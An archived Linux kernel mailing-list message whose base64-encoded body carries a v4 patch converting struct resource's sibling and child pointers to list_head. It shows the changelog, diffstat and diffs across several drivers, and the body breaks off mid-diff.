List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9620 gmane.linux.kernel:2760212 gmane.linux.drivers.devicetree:268905 gmane.linux.kernel.pci:72247 gmane.linux.kernel.input:61118 gmane.linux.ports.parisc:28579 gmane.linux.kernel.kexec:20613
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9620>

VGhlIHN0cnVjdCByZXNvdXJjZSB1c2VzIHNpbmdseSBsaW5rZWQgbGlzdCB0byBsaW5rIHNpYmxp
bmdzLCBpbXBsZW1lbnRlZApieSBwb2ludGVyIG9wZXJhdGlvbi4gUmVwbGFjZSBpdCB3aXRoIGxp
c3RfaGVhZCBmb3IgYmV0dGVyIGNvZGUgcmVhZGFiaWxpdHkuCgpCYXNlZCBvbiB0aGlzIGxpc3Rf
aGVhZCByZXBsYWNlbWVudCwgaXQgd2lsbCBiZSB2ZXJ5IGVhc3kgdG8gZG8gcmV2ZXJzZQppdGVy
YXRpb24gb24gaW9tZW1fcmVzb3VyY2UncyBzaWJsaW5nIGxpc3QgaW4gbGF0ZXIgcGF0Y2guCgpC
ZXNpZGVzLCB0eXBlIG9mIG1lbWJlciB2YXJpYWJsZXMgb2Ygc3RydWN0IHJlc291cmNlLCBzaWJs
aW5nIGFuZCBjaGlsZCwgYXJlCmNoYW5nZWQgZnJvbSAnc3RydWN0IHJlc291cmNlIConIHRvICdz
dHJ1Y3QgbGlzdF9oZWFkJy4gVGhpcyBicmluZ3MgdHdvCnBvaW50ZXJzIG9mIHNpemUgaW5jcmVh
c2UuCgpTdWdnZXN0ZWQtYnk6IEFuZHJldyBNb3J0b24gPGFrcG1AbGludXgtZm91bmRhdGlvbi5v
cmc+ClNpZ25lZC1vZmYtYnk6IEJhb3F1YW4gSGUgPGJoZUByZWRoYXQuY29tPgpDYzogUGF0cmlr
IEpha29ic3NvbiA8cGF0cmlrLnIuamFrb2Jzc29uQGdtYWlsLmNvbT4KQ2M6IERhdmlkIEFpcmxp
ZSA8YWlybGllZEBsaW51eC5pZT4KQ2M6ICJLLiBZLiBTcmluaXZhc2FuIiA8a3lzQG1pY3Jvc29m
dC5jb20+CkNjOiBIYWl5YW5nIFpoYW5nIDxoYWl5YW5nekBtaWNyb3NvZnQuY29tPgpDYzogU3Rl
cGhlbiBIZW1taW5nZXIgPHN0aGVtbWluQG1pY3Jvc29mdC5jb20+CkNjOiBEbWl0cnkgVG9yb2to
b3YgPGRtaXRyeS50b3Jva2hvdkBnbWFpbC5jb20+CkNjOiBEYW4gV2lsbGlhbXMgPGRhbi5qLndp
bGxpYW1zQGludGVsLmNvbT4KQ2M6IFJvYiBIZXJyaW5nIDxyb2JoK2R0QGtlcm5lbC5vcmc+CkNj
OiBGcmFuayBSb3dhbmQgPGZyb3dhbmQubGlzdEBnbWFpbC5jb20+CkNjOiBLZWl0aCBCdXNjaCA8
a2VpdGguYnVzY2hAaW50ZWwuY29tPgpDYzogSm9uYXRoYW4gRGVycmljayA8am9uYXRoYW4uZGVy
cmlja0BpbnRlbC5jb20+CkNjOiBMb3JlbnpvIFBpZXJhbGlzaSA8bG9yZW56by5waWVyYWxpc2lA
YXJtLmNvbT4KQ2M6IEJqb3JuIEhlbGdhYXMgPGJoZWxnYWFzQGdvb2dsZS5jb20+CkNjOiBUaG9t
YXMgR2xlaXhuZXIgPHRnbHhAbGludXRyb25peC5kZT4KQ2M6IEJyaWplc2ggU2luZ2ggPGJyaWpl
c2guc2luZ2hAYW1kLmNvbT4KQ2M6ICJKw6lyw7RtZSBHbGlzc2UiIDxqZ2xpc3NlQHJlZGhhdC5j
b20+CkNjOiBCb3Jpc2xhdiBQZXRrb3YgPGJwQHN1c2UuZGU+CkNjOiBUb20gTGVuZGFja3kgPHRo
b21hcy5sZW5kYWNreUBhbWQuY29tPgpDYzogR3JlZyBLcm9haC1IYXJ0bWFuIDxncmVna2hAbGlu
dXhmb3VuZGF0aW9uLm9yZz4KQ2M6IFlhb3dlaSBCYWkgPGJhaXlhb3dlaUBjbXNzLmNoaW5hbW9i
aWxlLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgpDYzogZGV2
ZWxAbGludXhkcml2ZXJwcm9qZWN0Lm9yZwpDYzogbGludXgtaW5wdXRAdmdlci5rZXJuZWwub3Jn
CkNjOiBsaW51eC1udmRpbW1AbGlzdHMuMDEub3JnCkNjOiBkZXZpY2V0cmVlQHZnZXIua2VybmVs
Lm9yZwpDYzogbGludXgtcGNpQHZnZXIua2VybmVsLm9yZwotLS0KdjMtPnY0OgogIEZpeCBzZXZl
cmFsIGJ1Z3MgdGVzdCByb2JvdCByZXBvcnRlZC4gQW5kIGNoYW5nZSBwYXRjaCBsb2cuCgp2Mi0+
djM6CiAgUmVuYW1lIHJlc291cmNlIGZ1bmN0aW9ucyBmaXJzdF9jaGlsZCgpIGFuZCBzaWJsaW5n
KCkgdG8KICByZXNvdXJjZV9maXJzdF9jaGlscygpIGFuZCByZXNvdXJjZV9zaWJsaW5nKCkuIERh
biBzdWdnZXN0ZWQgdGhpcy4KCiAgTW92ZSByZXNvdXJjZV9maXJzdF9jaGlscygpIGFuZCByZXNv
dXJjZV9zaWJsaW5nKCkgdG8gbGludXgvaW9wb3J0LmgKICBhbmQgbWFrZSB0aGVtIGFzIGlubGlu
ZSBmdW5jdGlvbi4gUm9iIHN1Z2dlc3RlZCB0aGlzLiBBY2NvcmRpbmdseSBhZGQKICBsaW51eC9s
aXN0LmggaW5jbHVkaW5nIGluIGxpbnV4L2lvcG9ydC5oLCBwbGVhc2UgaGVscCByZXZpZXcgaWYg
dGhpcwogIGJyaW5nIGVmZmljaWVuY3kgZGVncmFkYXRpb24gb3IgY29kZSByZWR1bmRhbmN5LgoK
ICBUaGUgY2hhbmdlIG9uIHN0cnVjdCByZXNvdXJjZSB7fSBicmluZyB0d28gcG9pbnRlcnMgb2Yg
c2l6ZSBpbmNyZWFzZSwKICBtZW50aW9uIHRoaXMgaW4gZ2l0IGxvZyB0byBtYWtlIGl0IG1vcmUg
c3BlY2lmaWNhbGx5LCBSb2Igc3VnZ2VzdGVkCiAgdGhpcy4KCiBhcmNoL21pY3JvYmxhemUvcGNp
L3BjaS1jb21tb24uYyAgICAgICAgICAgIHwgIDMxICsrKy0tCiBhcmNoL3NwYXJjL2tlcm5lbC9p
b3BvcnQuYyAgICAgICAgICAgICAgICAgIHwgICAyICstCiBhcmNoL3h0ZW5zYS9pbmNsdWRlL2Fz
bS9wY2ktYnJpZGdlLmggICAgICAgIHwgICA0ICstCiBkcml2ZXJzL2Vpc2EvZWlzYS1idXMuYyAg
ICAgICAgICAgICAgICAgICAgIHwgICAyICsKIGRyaXZlcnMvZ3B1L2RybS9kcm1fbWVtb3J5LmMg
ICAgICAgICAgICAgICAgfCAgIDMgKy0KIGRyaXZlcnMvZ3B1L2RybS9nbWE1MDAvZ3R0LmMgICAg
ICAgICAgICAgICAgfCAgIDUgKy0KIGRyaXZlcnMvaHYvdm1idXNfZHJ2LmMgICAgICAgICAgICAg
ICAgICAgICAgfCAgNTIgKysrKy0tLS0KIGRyaXZlcnMvaW5wdXQvam95c3RpY2svaWZvcmNlL2lm
b3JjZS1tYWluLmMgfCAgIDQgKy0KIGRyaXZlcnMvbnZkaW1tL2U4MjAuYyAgICAgICAgICAgICAg
ICAgICAgICAgfCAgIDIgKy0KIGRyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMgICAgICAg
ICAgICAgfCAgIDYgKy0KIGRyaXZlcnMvbnZkaW1tL25kLmggICAgICAgICAgICAgICAgICAgICAg
ICAgfCAgIDUgKy0KIGRyaXZlcnMvb2YvYWRkcmVzcy5jICAgICAgICAgICAgICAgICAgICAgICAg
fCAgIDQgKy0KIGRyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYyAgICAgICAgICAgICAgICAgICAgfCAg
IDQgKy0KIGRyaXZlcnMvcGNpL2hvc3Qvdm1kLmMgICAgICAgICAgICAgICAgICAgICAgfCAgIDgg
Ky0KIGRyaXZlcnMvcGNpL3Byb2JlLmMgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIDIgKwog
ZHJpdmVycy9wY2kvc2V0dXAtYnVzLmMgICAgICAgICAgICAgICAgICAgICB8ICAgMiArLQogaW5j
bHVkZS9saW51eC9pb3BvcnQuaCAgICAgICAgICAgICAgICAgICAgICB8ICAxNyArKy0KIGtlcm5l
bC9yZXNvdXJjZS5jICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAxODEgKysrKysrKysrKysr
Ky0tLS0tLS0tLS0tLS0tLQogMTggZmlsZXMgY2hhbmdlZCwgMTcwIGluc2VydGlvbnMoKyksIDE2
NCBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9hcmNoL21pY3JvYmxhemUvcGNpL3BjaS1jb21t
b24uYyBiL2FyY2gvbWljcm9ibGF6ZS9wY2kvcGNpLWNvbW1vbi5jCmluZGV4IDE2MWY5NzU4YzYz
MS4uNTZkMTg5Y2I0YmU0IDEwMDY0NAotLS0gYS9hcmNoL21pY3JvYmxhemUvcGNpL3BjaS1jb21t
b24uYworKysgYi9hcmNoL21pY3JvYmxhemUvcGNpL3BjaS1jb21tb24uYwpAQCAtNTMzLDcgKzUz
Myw5IEBAIHZvaWQgcGNpX3Byb2Nlc3NfYnJpZGdlX09GX3JhbmdlcyhzdHJ1Y3QgcGNpX2NvbnRy
b2xsZXIgKmhvc2UsCiAJCQlyZXMtPmZsYWdzID0gcmFuZ2UuZmxhZ3M7CiAJCQlyZXMtPnN0YXJ0
ID0gcmFuZ2UuY3B1X2FkZHI7CiAJCQlyZXMtPmVuZCA9IHJhbmdlLmNwdV9hZGRyICsgcmFuZ2Uu
c2l6ZSAtIDE7Ci0JCQlyZXMtPnBhcmVudCA9IHJlcy0+Y2hpbGQgPSByZXMtPnNpYmxpbmcgPSBO
VUxMOworCQkJcmVzLT5wYXJlbnQgPSBOVUxMOworCQkJSU5JVF9MSVNUX0hFQUQoJnJlcy0+Y2hp
bGQpOworCQkJSU5JVF9MSVNUX0hFQUQoJnJlcy0+c2libGluZyk7CiAJCX0KIAl9CiAKQEAgLTYy
NSwyOCArNjI3LDMxIEBAIEVYUE9SVF9TWU1CT0wocGNpYmlvc19hZGRfZGV2aWNlKTsKIHN0YXRp
YyBpbnQgX19pbml0IHJlcGFyZW50X3Jlc291cmNlcyhzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudCwK
IAkJCQkgICAgIHN0cnVjdCByZXNvdXJjZSAqcmVzKQogewotCXN0cnVjdCByZXNvdXJjZSAqcCwg
KipwcDsKLQlzdHJ1Y3QgcmVzb3VyY2UgKipmaXJzdHBwID0gTlVMTDsKKwlzdHJ1Y3QgcmVzb3Vy
Y2UgKnAsICpmaXJzdCA9IE5VTEw7CiAKLQlmb3IgKHBwID0gJnBhcmVudC0+Y2hpbGQ7IChwID0g
KnBwKSAhPSBOVUxMOyBwcCA9ICZwLT5zaWJsaW5nKSB7CisJbGlzdF9mb3JfZWFjaF9lbnRyeShw
LCAmcGFyZW50LT5jaGlsZCwgc2libGluZykgewogCQlpZiAocC0+ZW5kIDwgcmVzLT5zdGFydCkK
IAkJCWNvbnRpbnVlOwogCQlpZiAocmVzLT5lbmQgPCBwLT5zdGFydCkKIAkJCWJyZWFrOwogCQlp
ZiAocC0+c3RhcnQgPCByZXMtPnN0YXJ0IHx8IHAtPmVuZCA+IHJlcy0+ZW5kKQogCQkJcmV0dXJu
IC0xOwkvKiBub3QgY29tcGxldGVseSBjb250YWluZWQgKi8KLQkJaWYgKGZpcnN0cHAgPT0gTlVM
TCkKLQkJCWZpcnN0cHAgPSBwcDsKKwkJaWYgKGZpcnN0ID09IE5VTEwpCisJCQlmaXJzdCA9IHA7
CiAJfQotCWlmIChmaXJzdHBwID09IE5VTEwpCisJaWYgKGZpcnN0ID09IE5VTEwpCiAJCXJldHVy
biAtMTsJLyogZGlkbid0IGZpbmQgYW55IGNvbmZsaWN0aW5nIGVudHJpZXM/ICovCiAJcmVzLT5w
YXJlbnQgPSBwYXJlbnQ7Ci0JcmVzLT5jaGlsZCA9ICpmaXJzdHBwOwotCXJlcy0+c2libGluZyA9
ICpwcDsKLQkqZmlyc3RwcCA9IHJlczsKLQkqcHAgPSBOVUxMOwotCWZvciAocCA9IHJlcy0+Y2hp
bGQ7IHAgIT0gTlVMTDsgcCA9IHAtPnNpYmxpbmcpIHsKLQkJcC0+cGFyZW50ID0gcmVzOworCWxp
c3RfYWRkKCZyZXMtPnNpYmxpbmcsICZwLT5zaWJsaW5nLnByZXYpOworCUlOSVRfTElTVF9IRUFE
KCZyZXMtPmNoaWxkKTsKKworCS8qCisJICogRnJvbSBmaXJzdCB0byBwJ3MgcHJldmlvdXMgc2li
bGluZywgdGhleSBhbGwgZmFsbCBpbnRvCisJICogcmVzJ3MgcmVnaW9uLCBjaGFuZ2UgdGhlbSBh
cyByZXMncyBjaGlsZHJlbi4KKwkgKi8KKwlsaXN0X2N1dF9wb3NpdGlvbigmcmVzLT5jaGlsZCwg
Zmlyc3QtPnNpYmxpbmcucHJldiwgcmVzLT5zaWJsaW5nLnByZXYpOworCWxpc3RfZm9yX2VhY2hf
ZW50cnkocCwgJm5ldy0+Y2hpbGQsIHNpYmxpbmcpIHsKKyAgICAgICAgICAgICAgICBwLT5wYXJl
bnQgPSBuZXc7CiAJCXByX2RlYnVnKCJQQ0k6IFJlcGFyZW50ZWQgJXMgWyVsbHguLiVsbHhdIHVu
ZGVyICVzXG4iLAogCQkJIHAtPm5hbWUsCiAJCQkgKHVuc2lnbmVkIGxvbmcgbG9uZylwLT5zdGFy
dCwKZGlmZiAtLWdpdCBhL2FyY2gvc3BhcmMva2VybmVsL2lvcG9ydC5jIGIvYXJjaC9zcGFyYy9r
ZXJuZWwvaW9wb3J0LmMKaW5kZXggM2JjZWY5Y2U3NGRmLi40ZTkxZmJiYmVkY2MgMTAwNjQ0Ci0t
LSBhL2FyY2gvc3BhcmMva2VybmVsL2lvcG9ydC5jCisrKyBiL2FyY2gvc3BhcmMva2VybmVsL2lv
cG9ydC5jCkBAIC02NjksNyArNjY5LDcgQEAgc3RhdGljIGludCBzcGFyY19pb19wcm9jX3Nob3co
c3RydWN0IHNlcV9maWxlICptLCB2b2lkICp2KQogCXN0cnVjdCByZXNvdXJjZSAqcm9vdCA9IG0t
PnByaXZhdGUsICpyOwogCWNvbnN0IGNoYXIgKm5tOwogCi0JZm9yIChyID0gcm9vdC0+Y2hpbGQ7
IHIgIT0gTlVMTDsgciA9IHItPnNpYmxpbmcpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHIsICZy
b290LT5jaGlsZCwgc2libGluZykgewogCQlpZiAoKG5tID0gci0+bmFtZSkgPT0gTlVMTCkgbm0g
PSAiPz8/IjsKIAkJc2VxX3ByaW50ZihtLCAiJTAxNmxseC0lMDE2bGx4OiAlc1xuIiwKIAkJCQko
dW5zaWduZWQgbG9uZyBsb25nKXItPnN0YXJ0LApkaWZmIC0tZ2l0IGEvYXJjaC94dGVuc2EvaW5j
bHVkZS9hc20vcGNpLWJyaWRnZS5oIGIvYXJjaC94dGVuc2EvaW5jbHVkZS9hc20vcGNpLWJyaWRn
ZS5oCmluZGV4IDBiNjhjNzZlYzFlNi4uZjQ4N2IwNjgxN2RmIDEwMDY0NAotLS0gYS9hcmNoL3h0
ZW5zYS9pbmNsdWRlL2FzbS9wY2ktYnJpZGdlLmgKKysrIGIvYXJjaC94dGVuc2EvaW5jbHVkZS9h
c20vcGNpLWJyaWRnZS5oCkBAIC03MSw4ICs3MSw4IEBAIHN0YXRpYyBpbmxpbmUgdm9pZCBwY2li
aW9zX2luaXRfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyZXMsCiAJcmVzLT5mbGFncyA9IGZs
YWdzOwogCXJlcy0+bmFtZSA9IG5hbWU7CiAJcmVzLT5wYXJlbnQgPSBOVUxMOwotCXJlcy0+c2li
bGluZyA9IE5VTEw7Ci0JcmVzLT5jaGlsZCA9IE5VTEw7CisJSU5JVF9MSVNUX0hFQUQoJnJlcy0+
Y2hpbGQpOworCUlOSVRfTElTVF9IRUFEKCZyZXMtPnNpYmxpbmcpOwogfQogCiAKZGlmZiAtLWdp
dCBhL2RyaXZlcnMvZWlzYS9laXNhLWJ1cy5jIGIvZHJpdmVycy9laXNhL2Vpc2EtYnVzLmMKaW5k
ZXggMWU4MDYyZjZkYmZjLi5kYmE3OGY3NWZkMDYgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvZWlzYS9l
aXNhLWJ1cy5jCisrKyBiL2RyaXZlcnMvZWlzYS9laXNhLWJ1cy5jCkBAIC00MDgsNiArNDA4LDgg
QEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSBlaXNhX3Jvb3RfcmVzID0gewogCS5zdGFydCA9IDAs
CiAJLmVuZCAgID0gMHhmZmZmZmZmZiwKIAkuZmxhZ3MgPSBJT1JFU09VUkNFX0lPLAorCS5zaWJs
aW5nID0gTElTVF9IRUFEX0lOSVQoZWlzYV9yb290X3Jlcy5zaWJsaW5nKSwKKwkuY2hpbGQgID0g
TElTVF9IRUFEX0lOSVQoZWlzYV9yb290X3Jlcy5jaGlsZCksCiB9OwogCiBzdGF0aWMgaW50IGVp
c2FfYnVzX2NvdW50OwpkaWZmIC0tZ2l0IGEvZHJpdmVycy9ncHUvZHJtL2RybV9tZW1vcnkuYyBi
L2RyaXZlcnMvZ3B1L2RybS9kcm1fbWVtb3J5LmMKaW5kZXggM2M1NDA0NDIxNGRiLi41M2UzMDBh
OTkzZGMgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvZ3B1L2RybS9kcm1fbWVtb3J5LmMKKysrIGIvZHJp
dmVycy9ncHUvZHJtL2RybV9tZW1vcnkuYwpAQCAtMTU1LDkgKzE1NSw4IEBAIHU2NCBkcm1fZ2V0
X21heF9pb21lbSh2b2lkKQogCXN0cnVjdCByZXNvdXJjZSAqdG1wOwogCXJlc291cmNlX3NpemVf
dCBtYXhfaW9tZW0gPSAwOwogCi0JZm9yICh0bXAgPSBpb21lbV9yZXNvdXJjZS5jaGlsZDsgdG1w
OyB0bXAgPSB0bXAtPnNpYmxpbmcpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHRtcCwgJmlvbWVt
X3Jlc291cmNlLmNoaWxkLCBzaWJsaW5nKQogCQltYXhfaW9tZW0gPSBtYXgobWF4X2lvbWVtLCAg
dG1wLT5lbmQpOwotCX0KIAogCXJldHVybiBtYXhfaW9tZW07CiB9CmRpZmYgLS1naXQgYS9kcml2
ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jIGIvZHJpdmVycy9ncHUvZHJtL2dtYTUwMC9ndHQuYwpp
bmRleCAzOTQ5YjA5OTA5MTYuLmFkZGQzYmMwMDlhZiAxMDA2NDQKLS0tIGEvZHJpdmVycy9ncHUv
ZHJtL2dtYTUwMC9ndHQuYworKysgYi9kcml2ZXJzL2dwdS9kcm0vZ21hNTAwL2d0dC5jCkBAIC01
NjUsNyArNTY1LDcgQEAgaW50IHBzYl9ndHRfaW5pdChzdHJ1Y3QgZHJtX2RldmljZSAqZGV2LCBp
bnQgcmVzdW1lKQogaW50IHBzYl9ndHRfcmVzdG9yZShzdHJ1Y3QgZHJtX2RldmljZSAqZGV2KQog
ewogCXN0cnVjdCBkcm1fcHNiX3ByaXZhdGUgKmRldl9wcml2ID0gZGV2LT5kZXZfcHJpdmF0ZTsK
LQlzdHJ1Y3QgcmVzb3VyY2UgKnIgPSBkZXZfcHJpdi0+Z3R0X21lbS0+Y2hpbGQ7CisJc3RydWN0
IHJlc291cmNlICpyOwogCXN0cnVjdCBndHRfcmFuZ2UgKnJhbmdlOwogCXVuc2lnbmVkIGludCBy
ZXN0b3JlZCA9IDAsIHRvdGFsID0gMCwgc2l6ZSA9IDA7CiAKQEAgLTU3MywxNCArNTczLDEzIEBA
IGludCBwc2JfZ3R0X3Jlc3RvcmUoc3RydWN0IGRybV9kZXZpY2UgKmRldikKIAltdXRleF9sb2Nr
KCZkZXZfcHJpdi0+Z3R0X211dGV4KTsKIAlwc2JfZ3R0X2luaXQoZGV2LCAxKTsKIAotCXdoaWxl
IChyICE9IE5VTEwpIHsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHIsICZkZXZfcHJpdi0+Z3R0X21l
bS0+Y2hpbGQsIHNpYmxpbmcpIHsKIAkJcmFuZ2UgPSBjb250YWluZXJfb2Yociwgc3RydWN0IGd0
dF9yYW5nZSwgcmVzb3VyY2UpOwogCQlpZiAocmFuZ2UtPnBhZ2VzKSB7CiAJCQlwc2JfZ3R0X2lu
c2VydChkZXYsIHJhbmdlLCAxKTsKIAkJCXNpemUgKz0gcmFuZ2UtPnJlc291cmNlLmVuZCAtIHJh
bmdlLT5yZXNvdXJjZS5zdGFydDsKIAkJCXJlc3RvcmVkKys7CiAJCX0KLQkJciA9IHItPnNpYmxp
bmc7CiAJCXRvdGFsKys7CiAJfQogCW11dGV4X3VubG9jaygmZGV2X3ByaXYtPmd0dF9tdXRleCk7
CmRpZmYgLS1naXQgYS9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jIGIvZHJpdmVycy9odi92bWJ1c19k
cnYuYwppbmRleCBiMTBmZTI2YzQ4OTEuLmQ4N2VjNWExYmM0YyAxMDA2NDQKLS0tIGEvZHJpdmVy
cy9odi92bWJ1c19kcnYuYworKysgYi9kcml2ZXJzL2h2L3ZtYnVzX2Rydi5jCkBAIC0xNDEyLDkg
KzE0MTIsOCBAQCBzdGF0aWMgYWNwaV9zdGF0dXMgdm1idXNfd2Fsa19yZXNvdXJjZXMoc3RydWN0
IGFjcGlfcmVzb3VyY2UgKnJlcywgdm9pZCAqY3R4KQogewogCXJlc291cmNlX3NpemVfdCBzdGFy
dCA9IDA7CiAJcmVzb3VyY2Vfc2l6ZV90IGVuZCA9IDA7Ci0Jc3RydWN0IHJlc291cmNlICpuZXdf
cmVzOworCXN0cnVjdCByZXNvdXJjZSAqbmV3X3JlcywgKnRtcDsKIAlzdHJ1Y3QgcmVzb3VyY2Ug
KipvbGRfcmVzID0gJmh5cGVydl9tbWlvOwotCXN0cnVjdCByZXNvdXJjZSAqKnByZXZfcmVzID0g
TlVMTDsKIAogCXN3aXRjaCAocmVzLT50eXBlKSB7CiAKQEAgLTE0NjEsNDQgKzE0NjAsMzYgQEAg
c3RhdGljIGFjcGlfc3RhdHVzIHZtYnVzX3dhbGtfcmVzb3VyY2VzKHN0cnVjdCBhY3BpX3Jlc291
cmNlICpyZXMsIHZvaWQgKmN0eCkKIAkvKgogCSAqIElmIHR3byByYW5nZXMgYXJlIGFkamFjZW50
LCBtZXJnZSB0aGVtLgogCSAqLwotCWRvIHsKLQkJaWYgKCEqb2xkX3JlcykgewotCQkJKm9sZF9y
ZXMgPSBuZXdfcmVzOwotCQkJYnJlYWs7Ci0JCX0KLQotCQlpZiAoKCgqb2xkX3JlcyktPmVuZCAr
IDEpID09IG5ld19yZXMtPnN0YXJ0KSB7Ci0JCQkoKm9sZF9yZXMpLT5lbmQgPSBuZXdfcmVzLT5l
bmQ7CisJaWYgKCEqb2xkX3JlcykgeworCQkqb2xkX3JlcyA9IG5ld19yZXM7CisJCXJldHVybiBB
RV9PSzsKKwl9CisJdG1wID0gKm9sZF9yZXM7CisJbGlzdF9mb3JfZWFjaF9lbnRyeV9mcm9tKHRt
cCwgJnRtcC0+cGFyZW50LT5jaGlsZCwgc2libGluZykgeworCQlpZiAoKHRtcC0+ZW5kICsgMSkg
PT0gbmV3X3Jlcy0+c3RhcnQpIHsKKwkJCXRtcC0+ZW5kID0gbmV3X3Jlcy0+ZW5kOwogCQkJa2Zy
ZWUobmV3X3Jlcyk7CiAJCQlicmVhazsKIAkJfQogCi0JCWlmICgoKm9sZF9yZXMpLT5zdGFydCA9
PSBuZXdfcmVzLT5lbmQgKyAxKSB7Ci0JCQkoKm9sZF9yZXMpLT5zdGFydCA9IG5ld19yZXMtPnN0
YXJ0OworCQlpZiAodG1wLT5zdGFydCA9PSBuZXdfcmVzLT5lbmQgKyAxKSB7CisJCQl0bXAtPnN0
YXJ0ID0gbmV3X3Jlcy0+c3RhcnQ7CiAJCQlrZnJlZShuZXdfcmVzKTsKIAkJCWJyZWFrOwogCQl9
CiAKLQkJaWYgKCgqb2xkX3JlcyktPnN0YXJ0ID4gbmV3X3Jlcy0+ZW5kKSB7Ci0JCQluZXdfcmVz
LT5zaWJsaW5nID0gKm9sZF9yZXM7Ci0JCQlpZiAocHJldl9yZXMpCi0JCQkJKCpwcmV2X3Jlcykt
PnNpYmxpbmcgPSBuZXdfcmVzOwotCQkJKm9sZF9yZXMgPSBuZXdfcmVzOworCQlpZiAodG1wLT5z
dGFydCA+IG5ld19yZXMtPmVuZCkgeworCQkJbGlzdF9hZGQoJm5ld19yZXMtPnNpYmxpbmcsIHRt
cC0+c2libGluZy5wcmV2KTsKIAkJCWJyZWFrOwogCQl9Ci0KLQkJcHJldl9yZXMgPSBvbGRfcmVz
OwotCQlvbGRfcmVzID0gJigqb2xkX3JlcyktPnNpYmxpbmc7Ci0KLQl9IHdoaWxlICgxKTsKKwl9
CiAKIAlyZXR1cm4gQUVfT0s7CiB9CiAKIHN0YXRpYyBpbnQgdm1idXNfYWNwaV9yZW1vdmUoc3Ry
dWN0IGFjcGlfZGV2aWNlICpkZXZpY2UpCiB7Ci0Jc3RydWN0IHJlc291cmNlICpjdXJfcmVzOwot
CXN0cnVjdCByZXNvdXJjZSAqbmV4dF9yZXM7CisJc3RydWN0IHJlc291cmNlICpyZXM7CiAKIAlp
ZiAoaHlwZXJ2X21taW8pIHsKIAkJaWYgKGZiX21taW8pIHsKQEAgLTE1MDcsMTAgKzE0OTgsOSBA
QCBzdGF0aWMgaW50IHZtYnVzX2FjcGlfcmVtb3ZlKHN0cnVjdCBhY3BpX2RldmljZSAqZGV2aWNl
KQogCQkJZmJfbW1pbyA9IE5VTEw7CiAJCX0KIAotCQlmb3IgKGN1cl9yZXMgPSBoeXBlcnZfbW1p
bzsgY3VyX3JlczsgY3VyX3JlcyA9IG5leHRfcmVzKSB7Ci0JCQluZXh0X3JlcyA9IGN1cl9yZXMt
PnNpYmxpbmc7Ci0JCQlrZnJlZShjdXJfcmVzKTsKLQkJfQorCQlyZXMgPSBoeXBlcnZfbW1pbzsK
KwkJbGlzdF9mb3JfZWFjaF9lbnRyeV9mcm9tKHJlcywgJnJlcy0+cGFyZW50LT5jaGlsZCwgc2li
bGluZykKKwkJCWtmcmVlKHJlcyk7CiAJfQogCiAJcmV0dXJuIDA7CkBAIC0xNTk2LDcgKzE1ODYs
OCBAQCBpbnQgdm1idXNfYWxsb2NhdGVfbW1pbyhzdHJ1Y3QgcmVzb3VyY2UgKipuZXcsIHN0cnVj
dCBodl9kZXZpY2UgKmRldmljZV9vYmosCiAJCX0KIAl9CiAKLQlmb3IgKGl0ZXIgPSBoeXBlcnZf
bW1pbzsgaXRlcjsgaXRlciA9IGl0ZXItPnNpYmxpbmcpIHsKKwlpdGVyID0gaHlwZXJ2X21taW87
CisJbGlzdF9mb3JfZWFjaF9lbnRyeV9mcm9tKGl0ZXIsICZpdGVyLT5wYXJlbnQtPmNoaWxkLCBz
aWJsaW5nKSB7CiAJCWlmICgoaXRlci0+c3RhcnQgPj0gbWF4KSB8fCAoaXRlci0+ZW5kIDw9IG1p
bikpCiAJCQljb250aW51ZTsKIApAQCAtMTYzOSw3ICsxNjMwLDggQEAgdm9pZCB2bWJ1c19mcmVl
X21taW8ocmVzb3VyY2Vfc2l6ZV90IHN0YXJ0LCByZXNvdXJjZV9zaXplX3Qgc2l6ZSkKIAlzdHJ1
Y3QgcmVzb3VyY2UgKml0ZXI7CiAKIAlkb3duKCZoeXBlcnZfbW1pb19sb2NrKTsKLQlmb3IgKGl0
ZXIgPSBoeXBlcnZfbW1pbzsgaXRlcjsgaXRlciA9IGl0ZXItPnNpYmxpbmcpIHsKKwlpdGVyID0g
aHlwZXJ2X21taW87CisJbGlzdF9mb3JfZWFjaF9lbnRyeV9mcm9tKGl0ZXIsICZpdGVyLT5wYXJl
bnQtPmNoaWxkLCBzaWJsaW5nKSB7CiAJCWlmICgoaXRlci0+c3RhcnQgPj0gc3RhcnQgKyBzaXpl
KSB8fCAoaXRlci0+ZW5kIDw9IHN0YXJ0KSkKIAkJCWNvbnRpbnVlOwogCmRpZmYgLS1naXQgYS9k
cml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFpbi5jIGIvZHJpdmVycy9pbnB1
